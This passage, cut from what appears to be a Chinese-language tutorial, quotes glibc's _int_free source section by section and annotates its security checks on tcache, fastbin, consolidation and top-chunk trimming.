 Unless max_fast is 0, we don't know if there are fastbins
 bordering top, so we cannot tell for sure whether threshold
 has been reached unless fastbins are consolidated. But we
 don't want to consolidate on each free. As a compromise,
 consolidation is performed if FASTBIN_CONSOLIDATION_THRESHOLD
 is reached.
 */

 if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
 if (atomic_load_relaxed (&av->have_fastchunks))
	malloc_consolidate(av);

 if (av == &main_arena) {
#ifndef MORECORE_CANNOT_TRIM
	if ((unsigned long)(chunksize(av->top)) >=
	 (unsigned long)(mp_.trim_threshold))
	 systrim(mp_.top_pad, av);
#endif
 } else {
	/* Always try heap_trim(), even if the top chunk is not
	 large, because the corresponding heap might go away. */
	heap_info *heap = heap_for_ptr(top(av));

	assert(heap->ar_ptr == av);
	heap_trim(heap, mp_.top_pad);
 }
 }

 if (!have_lock)
 __libc_lock_unlock (av->mutex);
 }
 /*
 If the chunk was allocated via mmap, release via munmap().
 */

 else {
 munmap_chunk (p);
 }
}

前置处理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


 INTERNAL_SIZE_T size; /* its size */
 mfastbinptr *fb; /* associated fastbin */
 mchunkptr nextchunk; /* next contiguous chunk */
 INTERNAL_SIZE_T nextsize; /* its size */
 int nextinuse; /* true if nextchunk is used */
 INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
 mchunkptr bck; /* misc temp for linking */
 mchunkptr fwd; /* misc temp for linking */

 size = chunksize (p);

 /* Little security check which won't hurt performance: the
 allocator never wrapps around at the end of the address space.
 Therefore we can exclude some size values which might appear
 here by accident or by "design" from some intruder. */
 if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
 || __builtin_expect (misaligned_chunk (p), 0))
 malloc_printerr ("free(): invalid pointer");
 /* We know that each chunk is at least MINSIZE bytes in size or a
 multiple of MALLOC_ALIGNMENT. */
 if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
 malloc_printerr ("free(): invalid size");

 check_inuse_chunk(av, p);

检查 p + size 是否超过了地址空间的上限（即是否发生了整数溢出），以及地址对齐

进行尺寸堆块检查和尺寸对齐检查

放入 Tcache

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


#if USE_TCACHE
 {
 size_t tc_idx = csize2tidx (size);
 if (tcache != NULL && tc_idx < mp_.tcache_bins)
 {
	/* Check to see if it's already in the tcache. */
	tcache_entry *e = (tcache_entry *) chunk2mem (p);

	/* This test succeeds on double free. However, we don't 100%
	 trust it (it also matches random payload data at a 1 in
	 2^<size_t> chance), so verify it's not an unlikely
	 coincidence before aborting. */
	if (__glibc_unlikely (e->key == tcache_key))
	 {
	 tcache_entry *tmp;
	 size_t cnt = 0;
	 LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
	 for (tmp = tcache->entries[tc_idx];
		 tmp;
		 tmp = REVEAL_PTR (tmp->next), ++cnt)
	 {
		if (cnt >= mp_.tcache_count)
		 malloc_printerr ("free(): too many chunks detected in tcache");
		if (__glibc_unlikely (!aligned_OK (tmp)))
		 malloc_printerr ("free(): unaligned chunk detected in tcache 2");
		if (tmp == e)
		 malloc_printerr ("free(): double free detected in tcache 2");
		/* If we get here, it was a coincidence. We've wasted a
		 few cycles, but don't abort. */
	 }
	 }

	if (tcache->counts[tc_idx] < mp_.tcache_count)
	 {
	 tcache_put (p, tc_idx);
	 return;
	 }
 }
 }
#endif

有 double free 检测，若发现 e->key == tcache_key ，则扫描整条链表，若出现 tcache 数量过大、地址不对齐或回环，则报错，否则当作偶然处理

正常放入 Tcache

放入 fastbin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76


 /*
 If eligible, place chunk on a fastbin so it can be found
 and used quickly in malloc.
 */

 if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

#if TRIM_FASTBINS
 /*
	If TRIM_FASTBINS set, don't place chunks
	bordering top into fastbins
 */
 && (chunk_at_offset(p, size) != av->top)
#endif
 ) {

 if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
			 <= CHUNK_HDR_SZ, 0)
	|| __builtin_expect (chunksize (chunk_at_offset (p, size))
			 >= av->system_mem, 0))
 {
	bool fail = true;
	/* We might not have a lock at this point and concurrent modifications
	 of system_mem might result in a false positive. Redo the test after
	 getting the lock. */
	if (!have_lock)
	 {
	 __libc_lock_lock (av->mutex);
	 fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
		 || chunksize (chunk_at_offset (p, size)) >= av->system_mem);
	 __libc_lock_unlock (av->mutex);
	 }

	if (fail)
	 malloc_printerr ("free(): invalid next size (fast)");
 }

 free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);

 atomic_store_relaxed (&av->have_fastchunks, true);
 unsigned int idx = fastbin_index(size);
 fb = &fastbin (av, idx);

 /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
 mchunkptr old = *fb, old2;

 if (SINGLE_THREAD_P)
 {
	/* Check that the top of the bin is not the record we are going to
	 add (i.e., double free). */
	if (__builtin_expect (old == p, 0))
	 malloc_printerr ("double free or corruption (fasttop)");
	p->fd = PROTECT_PTR (&p->fd, old);
	*fb = p;
 }
 else
 do
	{
	 /* Check that the top of the bin is not the record we are going to
	 add (i.e., double free). */
	 if (__builtin_expect (old == p, 0))
	 malloc_printerr ("double free or corruption (fasttop)");
	 old2 = old;
	 p->fd = PROTECT_PTR (&p->fd, old);
	}
 while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
	 != old2);

 /* Check that size of fastbin chunk at the top is the same as
 size of the chunk that we are adding. We can dereference OLD
 only if we have the lock, otherwise it might have already been
 allocated again. */
 if (have_lock && old != NULL
	&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
 malloc_printerr ("invalid fastbin entry (free)");
 }

检验

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


 if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
			 <= CHUNK_HDR_SZ, 0)
	|| __builtin_expect (chunksize (chunk_at_offset (p, size))
			 >= av->system_mem, 0))
 {
	bool fail = true;
	/* We might not have a lock at this point and concurrent modifications
	 of system_mem might result in a false positive. Redo the test after
	 getting the lock. */
	if (!have_lock)
	 {
	 __libc_lock_lock (av->mutex);
	 fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
		 || chunksize (chunk_at_offset (p, size)) >= av->system_mem);
	 __libc_lock_unlock (av->mutex);
	 }

	if (fail)
	 malloc_printerr ("free(): invalid next size (fast)");
 }

检验相邻下一个 chunk 的 size 的合规性

插入 fastbin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


 free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);

 atomic_store_relaxed (&av->have_fastchunks, true);
 unsigned int idx = fastbin_index(size);
 fb = &fastbin (av, idx);

 /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
 mchunkptr old = *fb, old2;

 if (SINGLE_THREAD_P)
 {
	/* Check that the top of the bin is not the record we are going to
	 add (i.e., double free). */
	if (__builtin_expect (old == p, 0))
	 malloc_printerr ("double free or corruption (fasttop)");
	p->fd = PROTECT_PTR (&p->fd, old);
	*fb = p;
 }
 else
 do
	{
	 /* Check that the top of the bin is not the record we are going to
	 add (i.e., double free). */
	 if (__builtin_expect (old == p, 0))
	 malloc_printerr ("double free or corruption (fasttop)");
	 old2 = old;
	 p->fd = PROTECT_PTR (&p->fd, old);
	}
 while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
	 != old2);

 /* Check that size of fastbin chunk at the top is the same as
 size of the chunk that we are adding. We can dereference OLD
 only if we have the lock, otherwise it might have already been
 allocated again. */
 if (have_lock && old != NULL
	&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
 malloc_printerr ("invalid fastbin entry (free)");
 }

有简单的防 double free 逻辑，只校验 fastbin 的 top

放入 bin

前置处理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


 /*
 Consolidate other non-mmapped chunks as they arrive.
 */

 else if (!chunk_is_mmapped(p)) {

 /* If we're single-threaded, don't lock the arena. */
 if (SINGLE_THREAD_P)
 have_lock = true;

 if (!have_lock)
 __libc_lock_lock (av->mutex);

 nextchunk = chunk_at_offset(p, size);

 /* Lightweight tests: check whether the block is already the
 top block. */
 if (__glibc_unlikely (p == av->top))
 malloc_printerr ("double free or corruption (top)");
 /* Or whether the next chunk is beyond the boundaries of the arena. */
 if (__builtin_expect (contiguous (av)
			 && (char *) nextchunk
			 >= ((char *) av->top + chunksize(av->top)), 0))
	malloc_printerr ("double free or corruption (out)");
 /* Or whether the block is actually not marked used. */
 if (__glibc_unlikely (!prev_inuse(nextchunk)))
 malloc_printerr ("double free or corruption (!prev)");

 nextsize = chunksize(nextchunk);
 if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
	|| __builtin_expect (nextsize >= av->system_mem, 0))
 malloc_printerr ("free(): invalid next size (normal)");

 free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);

上锁，校验

禁止 free 掉 top chunk

禁止下一个 chunk 地址越界

禁止下一个 chunk 的 prev_inuse 位为 0 （防止 double free）

检验相邻下一个 chunk 的 size 的合规性

合并 chunk

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46


 /* consolidate backward */
 if (!prev_inuse(p)) {
 prevsize = prev_size (p);
 size += prevsize;
 p = chunk_at_offset(p, -((long) prevsize));
 if (__glibc_unlikely (chunksize(p) != prevsize))
 malloc_printerr ("corrupted size vs. prev_size while consolidating");
 unlink_chunk (av, p);
 }

 if (nextchunk != av->top) {
 /* get and clear inuse bit */
 nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

 /* consolidate forward */
 if (!nextinuse) {
	unlink_chunk (av, nextchunk);
	size += nextsize;
 } else
	clear_inuse_bit_at_offset(nextchunk, 0);

 /*
	Place the chunk in unsorted chunk list. Chunks are
	not placed into regular bins until after they have
	been given one chance to be used in malloc.
 */

 bck = unsorted_chunks(av);
 fwd = bck->fd;
 if (__glibc_unlikely (fwd->bk != bck))
	malloc_printerr ("free(): corrupted unsorted chunks");
 p->fd = fwd;
 p->bk = bck;
 if (!in_smallbin_range(size))
	{
	 p->fd_nextsize = NULL;
	 p->bk_nextsize = NULL;
	}
 bck->fd = p;
 fwd->bk = p;

 set_head(p, size | PREV_INUSE);
 set_foot(p, size);

 check_free_chunk(av, p);
 }

向后合并时要求 prevsize 与 size 匹配

放入 unsortedbin 时校验了双向链表的完整性

并入 top chunk

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


 /*
 If the chunk borders the current high end of memory,
 consolidate into top
 */

 else {
 size += nextsize;
 set_head(p, size | PREV_INUSE);
 av->top = p;
 check_chunk(av, p);
 }

归还空间

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


 /*
 If freeing a large space, consolidate possibly-surrounding
 chunks. Then, if the total unused topmost memory exceeds trim
 threshold, ask malloc_trim to reduce top.

 Unless max_fast is 0, we don't know if there are fastbins
 bordering top, so we cannot tell for sure whether threshold
 has been reached unless fastbins are consolidated. But we
 don't want to consolidate on each free. As a compromise,
 consolidation is performed if FASTBIN_CONSOLIDATION_THRESHOLD
 is reached.
 */

 if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
 if (atomic_load_relaxed (&av->have_fastchunks))
	malloc_consolidate(av);

 if (av == &main_arena) {
#ifndef MORECORE_CANNOT_TRIM
	if ((unsigned long)(chunksize(av->top)) >=
	 (unsigned long)(mp_.trim_threshold))
	 systrim(mp_.top_pad, av);
#endif
 } else {
	/* Always try heap_trim(), even if the top chunk is not
	 large, because the corresponding heap might go away. */
	heap_info *heap = heap_for_ptr(top(av));

	assert(heap->ar_ptr == av);
	heap_trim(heap, mp_.top_pad);
 }
 }

如果 free 掉的空间比较大，那么在把 top chunk 的多余空间归还给操作系统前，先 malloc_consolidate 处理下 fastbin 中的碎片化内存

结算

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


 if (!have_lock)
 __libc_lock_unlock (av->mutex);
 }
 /*
 If the chunk was allocated via mmap, release via munmap().
 */

 else {
 munmap_chunk (p);
 }
}